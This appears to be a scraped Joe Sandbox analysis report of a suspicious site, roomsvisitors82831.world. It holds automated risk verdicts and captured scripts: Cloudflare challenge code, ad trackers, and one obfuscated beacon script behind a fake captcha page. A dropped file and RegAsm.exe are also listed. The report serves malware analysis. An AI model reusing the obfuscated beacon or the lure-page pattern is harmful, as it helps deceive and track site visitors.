s52CVt8iWekyq4oMwHC9sJUwr7D233bPIhpGq.8Fynx.IA32BJGcES7Z8zbYM2_XceeTNisboV9vH5DO_Z0mZ0NfTEdUG1JGEvXx04q36CbN_AW0VjdXK4ymS_0Fuaiz2yJ.L00LVSgAeZTahyvJYkVLz49EilRPA_14_cHtIWl3qIwYoob8iP6mH8aQoJgWs3SCb47t.tbq4o089ATkyiIJ0qIBoXTqlBX3IYgFLXfeovUNYXW_QrifHKSs.1nfKIBaGb6hTGZhcBDKH8GowSBXUWpxXUpgDKPXDPNtsk9bVWyrD38Yg3.y7QygBU59N5hoMzY4mZvgby9vxhbGak9wLH89dbQmRkPKPTMCcHb9YqK6qwATajEWuEPB9oz59dg_jI6BFlxUaPo061oBIalZYaOSU8FDqDgDBk9I9zMp44qtm1p524BYjT_23qeam.ceYdCaYV.30JvyiT5P8QSc0qaK.uGiPKtBg0b41S_VoW_ajkaX8CCL8JSa2B1Q3OgMPyCY8EZMRvsXq_CwGbPBbUK78tcXumZ_HGISyLksvBFHkJwZeH34VvgHl4vnQI0VGaV.bqLPaF7oJ8quqcPVpk5TyiFv76PhLWnhWbyGz.zQUz_WPW_KA2Imet20RIVLW5qndSEqJf_YoFtlnRWwuLR54mAz9R26k_phQ8J1OGf7.Bb3mt4Z4zEdeh0vFFUARAHuA_5owYucDkitd1eDIxLXWMCgboIHywipcOzWg2NMaShCvS7eOozQP_4XIkodAx_iuAi79UaTnIUK0oSsAK2nlEEOrW4muj1OnUbVC7dFqrTMguWdAtkDA",mdrd: "t8czQO2z1bqchP6X7aqXoC6Ccv21D_c2FEi8c4LvpNY-1735604796-1.2.1.1-xvWClRUZGNczo_Gb4iWsrX11Fl732Vvn4CR.0j7quaVx1xWFq.FX9aiqB96PMoCmQpVQMmEnc2AJoNk0Ikz_f5pqHUHXQyjvDLW2rSLBtCRKGzTmnAbWtg4InVtyPwTubw9F37MKtCLOTfyPsSsO69_pmPYFGvGu8DDC3ysHN40V2z9fSgpZ0aHKtYTM4yjUsPW1RnjZRzy4DgzpTPzRgx3Vf1hhP.DcwlDHqLFIB.mlKaKclRf5XYwOh4M.Jhu14rhgSIaN3gV2erPgGwC1uhrjidb_SzM6SPV113hTUt_I7UdvngPpZfY5CA77P0BAarbJSlnry2qGlnFHruclgNc17vN.TfBJncUrGwb5ab2YMW1rakCh_N8c4j0Rcys42oHyy0iH3v1Ir89hA4IDMyJqMdSA5dXrJ_JgZAMJ71w_vtbjq7N.xBZHeXaailGZ7UXxDzc_DjY65l.i2oKl4fxjKzBrcmQmvM4dnoMuJ9n_oSwrh2ZfgZEJ8bd3VvNobeMbCPi3v6u4i0assHqIWX3Ixsv388H3KQlqwxZt8cAlrbS7tBIJPeUUUxwtcsKUx3mIcZEEwNqcvkL2.Uv_0TYPfDBW7foTX4OLEgziHdMiFZ4CszPzL_qPbTRSHGyIIOkg50KzZn59bZ8m72HOx
URL: https://challenges.cloudflare.com/turnstile/v0/b/7... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. While it does not contain any clear indicators of malicious intent, the use of dynamic code execution, external data transmission, and aggressive DOM manipulation warrant further review. Additionally, the presence of obfuscated code and the use of multiple fallback domains increase the overall risk profile of the script. Overall, this script requires closer inspection to determine its true purpose and potential impact on user security and privacy." }
"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sr(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function jt(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function zt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function Gt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Xt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a legitimate behavior for websites that use Cloudflare's security services. The script sets up various configuration options for the Cloudflare challenge and includes some communication with the parent window, which is a common pattern for these types of challenges. While the script uses some techniques like message passing and dynamic configuration, these are typical for Cloudflare's managed challenge system and do not indicate any malicious intent. Overall, the script seems to be a benign implementation of Cloudflare's challenge functionality." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'ds0rc', chlApiSitekey: '0x4AAAAAAADnPIDROrmt1Wwj', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'q60LCY0VH8Ye43DfH14nfF86xLliuBz8zSO0F0V19wU-1735604799-1.3.1.1-vjz.5zL_pjawkXDcu8QYTPm4_3pehaOVLez7ner3LKI', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8fa623adab3b43b1', cH: 'u36JD4hlsZJJRp3iCEDTcdj6Jtd.Z8r9lEoiQz2JK40-1735604799-1.1.1.1-vKc2CfhASXa5feGTTB8pdBdKkyTwWRJ8Hgkane.2GmDX46GkeZxkcyad96sFYjO6', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'light', wS: 'normal', md: '8ofoA8XBUfnIZ6jIIK2vgmew5MHroclHUKqP_HIp80Y-1735604799-1.1.1.1-_W.0wrDMHkeAD8HjdDfuPd21RUDgXN6mN9HaSrG5fhKg7.wyCMpVpdqjCCZ6Ix9IKobXQIQlSD5NmTSKLhFcjUfhsOifRD7vROOEOfCGMMuutm905B4XcCV31EEHHNlGpVL9RBoaLJFPUsy9pQvvGjhlfK2MN6.WUss.h7vKS7np3PPkWOYl6bz3.9jEtJQcKYjcRKHKswm3D57BcOWZUy18aX1vYSd8sJeMmxCmTDEaw6Da4E3Ero7Fo54K6binYCt7k2oGXOO9AIM8aYO5vLYeR89laphG8vI8YQGqr8DfSqGQ9dYlMPG.JA.eh1xFdPLf1ShsZbUbSjuwSbsOE.ziCxMpOtuhIXUlZYoL20myrPvtcjSs7TFgDVK36W16TPQbZKi_zzSumfc4wJou01Wd1sxZxJgQTP3TD_XLT5dDoSR7WWC0Az9vRkbCjVOgIjLdeX4VdRSLbLOGH2XLu1i2HOfBKyN2FRzPwvc1qWOQ_hi2FjVrpkvPDPe_1uRYLctX2sQL1H4LfF1pNqGQdEi8y_Riil4ZZeytuz.2dzW4zAszFiDGLnqJ75l9QiCaBxtrC0SEfytS3FDeAE53JmuCjL6AHcK2dvhpkGCe.3c0QAEMXeVl4lyG6qP9e7GsHUprB_7vgKLokvdbNpF75zInMI0Os53hdAKVGzsp1k4c6pwXqW0S93HZgrY4VxKoI9j6Hyh5hVKE8eDyfomKDYWMlhfFmTUtn9vSEGjbfuoYs5.hzsK1CWOdK3_Jgpn8.HX2e6bOXYdPwL7oXCCA6mxKcmCmcdXCS7ieb3xYKVWT3hcR8dTgDebtVdPGf9YkOfFLdlHzMr9_RgLX1Z_gHQ0R69k2Qb4o7WVGF8z2yhAIm9MAluCdb7PLqeyZgDTANFnd6kK6lS3rvpccXF2WCuGtst6bCLBpwGXCvIG9SZsLl0b4.OZhDG_c6aCKaURgEkBu75_hEV_7iLbBEXnIsq1gf6KMtYLfg22MBUk.vQAOz52U2lsTaUyxNSRapP7i8Hf0BF9__60ljFk3Q1EvYgUX6z7sWMmwSVXsO0kztZOLfEPf.Hj.2_.8MNmHzsccQEzRXriSpPgSzpfko62wrQM8Ayr4x6iaZMRSWgmR33dgd.dR0h0kaq0FXAtp1ItEJSZy9nr4ILU6HsOnn3TzNYMhgosyWTMoSXMBpRTtPyCQK47aTqAkPCr88DCqg5NdHLcVCy8pjFQukq1or.vR3foB6JN69TRNL3UJAFz.5XgF0YX9ndPIvIsAs8rciStbt302bNc2cMABk23mW0dNMpeK.6ezFJNnJSMIP8q7xP.4y0s5Ki8lRJ20sQ_jar0fIXIdu87n5CvlTUj7zeM1N1luy1k.jgz5EjPJr2CqoEkiwgs1WfCMAGuKnGKLgDLZ', cITimeS: '1735604799', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'ds0rc', nextRcV: 'q60LCY0VH8Ye43DfH14nfF86xLliuBz8zSO0F0V19wU-1735604799-1.3.1.1-vjz.5zL_pjawkXDcu8QYTPm4_3pehaOVLez7ner3LKI', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script contains a mix of behaviors that require further review. While the initial functionality of closing a modal and showing content is benign, the presence of obfuscated code and a function that sends a GET request to an unknown domain raises some concerns. The obfuscation and the lack of transparency around the purpose of the network request contribute to the medium risk score." }
document.addEventListener("DOMContentLoaded", () => { const closeModalButton = document.getElementById("closeModal"); closeModalButton.addEventListener("click", () => { document.body.classList.add("show-content"); }); }); var _0x483570=_0x42d9;(function(_0x5ca286,_0x2bfd11){var _0x37b7fb=_0x42d9,_0x3d9e05=_0x5ca286();while(!![]){try{var _0x5a68f8=parseInt(_0x37b7fb(0x167))/0x1(parseInt(_0x37b7fb(0x15b))/0x2)+parseInt(_0x37b7fb(0x169))/0x3(parseInt(_0x37b7fb(0x15d))/0x4)+-parseInt(_0x37b7fb(0x162))/0x5+parseInt(_0x37b7fb(0x16b))/0x6+-parseInt(_0x37b7fb(0x163))/0x7+-parseInt(_0x37b7fb(0x166))/0x8(-parseInt(_0x37b7fb(0x160))/0x9)+-parseInt(_0x37b7fb(0x164))/0xa(parseInt(_0x37b7fb(0x15c))/0xb);if(_0x5a68f8===_0x2bfd11)break;else _0x3d9e05['push'](_0x3d9e05['shift']());}catch(_0x46089a){_0x3d9e05['push'](_0x3d9e05['shift']());}}}(_0x3800,0x374f8));function _0x3800(){var _0x399f71=['44379cgYXsU','DOMContentLoaded','867090RVNWkR','3132794vTLkaz','1874200qgcVNm','then','664eNKZIg','1505JCCvOb','addEventListener','923652MnaNkS','catch','2570640nzYwtN','log','/49asjfms4','102ANmOrZ','22GJbuTA','4AqNBPx','GET','Visit\x20request\x20error:'];_0x3800=function(){return _0x399f71;};return _0x3800();}function _0x42d9(_0x2fee24,_0x370bb4){var _0x38008b=_0x3800();return _0x42d9=function(_0x42d946,_0x56b1e9){_0x42d946=_0x42d946-0x159;var _0x1f841c=_0x38008b[_0x42d946];return _0x1f841c;},_0x42d9(_0x2fee24,_0x370bb4);}function sendOnline(){var _0x144ee1=_0x42d9;fetch(_0x144ee1(0x15a),{'method':_0x144ee1(0x15e)})[_0x144ee1(0x165)](_0x242d07=>_0x242d07['json']())[_0x144ee1(0x165)](_0x3f7bf3=>{var _0x507a0b=_0x144ee1;})[_0x144ee1(0x16a)](_0x43fb40=>{var _0x5baaf7=_0x144ee1;console['error'](_0x5baaf7(0x15f),_0x43fb40);});}document[_0x483570(0x168)](_0x483570(0x161),_0x17aa5a=>{setInterval(sendOnline,0x1388);});
URL: https://roomsvisitors82831.world/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscation of the script's purpose raise significant security concerns. While the script may be part of a legitimate service, the lack of transparency and the potential for abuse make it a high-risk script that requires further investigation." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fa623f00fefc326',t:'MTczNTYwNDgxMS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://roomsvisitors82831.world/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet is a simple event listener that listens for a message event and updates the display of an HTML element based on the received message. This behavior is common for cross-origin communication between an iframe and its parent window, and does not demonstrate any high-risk indicators. The script appears to be a legitimate implementation of a common web development practice." }
// iframe window.addEventListener('message', (event) => { // , (, event.origin) if (event.data === 'showMainElement') { let verElement = document.getElementById("verification"); verElement.style.display = "block"; } });
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Verify you are human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/?__cf_chl_tk=FiaVf8.j68ytR6W40ej8YcdAopGjg3RZQtFF_eyjERQ-1735604796-1.0.1.1-_A0TBRL2TANCFW6uGKcR35aGMdZXvbskAxfq0N0Z2r8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script contains obfuscated code, which is a high-risk indicator. However, it appears to be related to Cloudflare's security challenges, which are legitimate. The obfuscation is likely for security purposes rather than malicious intent, capping the score at 3 for placeholder behavior." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F"},"translations":{"turnstile_footer_terms":"Terms","testing_only":"Testing%20only.","turnstile_timeout":"Timed%20out","turnstile_overrun_description":"Stuck%20here%3F","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_verifying":"Verifying...","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_expired":"Expired","turnstile_failure":"Error","turnstile_success":"Success%21","turnstile_footer_privacy":"Privacy","turnstile_feedback_description":"Send%20Feedback","human_button_text":"Verify%20you%20are%20human","turnstile_refresh":"Refresh","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available"},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eQ,eT,eV,eW,eX,f9,fl,fr,fs,ft,fD,fO,fS,fV,fW,gm,gn,gr,gs,gt,gA,gH,fT,fU){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1370))/1+-parseInt(gI(835))/2(-parseInt(gI(560))/3)+parseInt(gI(1618))/4+parseInt(gI(1608))/5+parseInt(gI(949))/6+-parseInt(gI(538))/7(parseInt(gI(1321))/8)+-parseInt(gI(1119))/9(parseInt(gI(911))/10),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,523637),eM=this\|\|self,eN=eM[gJ(579)],eM[gJ(633)]=function(gK,d,e,f,g){gK=gJ,d={},d[gK(448)]=gK(1628),d[gK(313)]=gK(730),d[gK(1336)]=gK(1267),e=d,f=1,g=1e3eM[gK(836)][gK(1460)](2<<f,32),eM[gK(516)](function(gL,h,i,k){(gL=gK,h={},h[gL(232)]=gL(1267),h[gL(1299)]=gL(1574),i=h,eM[e[gL(448)]])&&(e[gL(313)]===gL(730)?(eM[gL(569)][gL(591)](),eM[gL(569)][gL(559)](),eM[gL(780)]=!![],eM[gL(1628)][gL(1507)]({'source':e[gL(1336)],'widgetId':eM[gL(373)][gL(776)],'event':gL(1574),'cfChlOut':eM[gL(373)][gL(1410)],'cfChlOutS':eM[gL(373)][gL(808)],'code':gL(643),'rcV':eM[gL(373)][gL(1439)]},'')):(k={},k[gL(1060)]=i[gL(232)],k[gL(509)]=i[gL(373)][gL(776)],k[gL(1662)]=j[gL(373)][gL(1439)],k[gL(1655)]=i[gL(1299)],k[gL(1455)]=k[gL(373)][gL(1410)],k[gL(1588)]=l[gL(373)][gL(808)],k[gL(292)]=gL(265),h[gL(1628)][gL(1507)](k,'')))},g)},eM[gJ(1552)]=function(g,h,i,gM,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(gM=gJ,j={},j[gM(712)]=gM(1579),j[gM(978)]=function(G,H){return G instanceof H},j[gM(763)]=gM(1547),j[gM(1091)]=function(G,H){return G+H},j[gM(1572)]=function(G,H){return G+H},j[gM(1064)]=function(G,H){return G+H},j[gM(282)]=function(G,H){return G+H},j[gM(299)]=gM(1047),j[gM(798)]=gM(484),j[gM(446)]=gM(1532),j[gM(297)]=gM(993),j[gM(1073)
URL: https://roomsvisitors82831.world/?__cf_chl_tk=FiaVf8.j68ytR6W40ej8YcdAopGjg3RZQtFF_eyjERQ-1735604796-1.0.1.1-_A0TBRL2TANCFW6uGKcR35aGMdZXvbskAxfq0N0Z2r8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/recaptcha/FAQ.htm... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This script appears to be a legitimate Marketo tracking script. It initializes the Marketo Munchkin API, which is a common marketing and analytics tool. While it uses some older practices like `onreadystatechange`, the overall behavior is consistent with typical analytics functionality and does not demonstrate any high-risk indicators." }
(function(){var didInit=false;function initMunchkin(){if(didInit===false){didInit=true;Munchkin.init("261-NRZ-371")}}var s=document.createElement("script");s.type="text/javascript";s.async=true;s.src="//munchkin.marketo.net/munchkin.js";s.onreadystatechange=function(){if(this.readyState=="complete"\|\|this.readyState=="loaded"){initMunchkin()}};s.onload=initMunchkin;document.getElementsByTagName("head")[0].appendChild(s)})();
URL: https://roomsvisitors82831.world/recaptcha/FAQ.htm... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate Criteo advertising script. It sets up the Criteo advertising platform by configuring the account, device type, and triggering a 'viewHome' event. While it collects some user data, this is typical behavior for advertising and analytics scripts, and there are no clear indicators of malicious intent." }
window.criteo_q=window.criteo_q\|\|[];const deviceType=/iPad/.test(navigator.userAgent)?"t":/Mobile\|iP(hone\|od)\|Android\|BlackBerry\|IEMobile\|Silk/.test(navigator.userAgent)?"m":"d";window.criteo_q.push({event:"setAccount",account:"37899"},{event:"setEmail",email:"",hash_method:""},{event:"setCustomerId",id:""},{event:"setSiteType",type:deviceType},{event:"viewHome"});
URL: https://roomsvisitors82831.world/recaptcha/bf.html... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as implementing a security challenge, the overall behavior is highly suspicious and indicative of potential malicious intent." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fa624007a9242db',t:'MTczNTYwNDgxMy4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://roomsvisitors82831.world/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
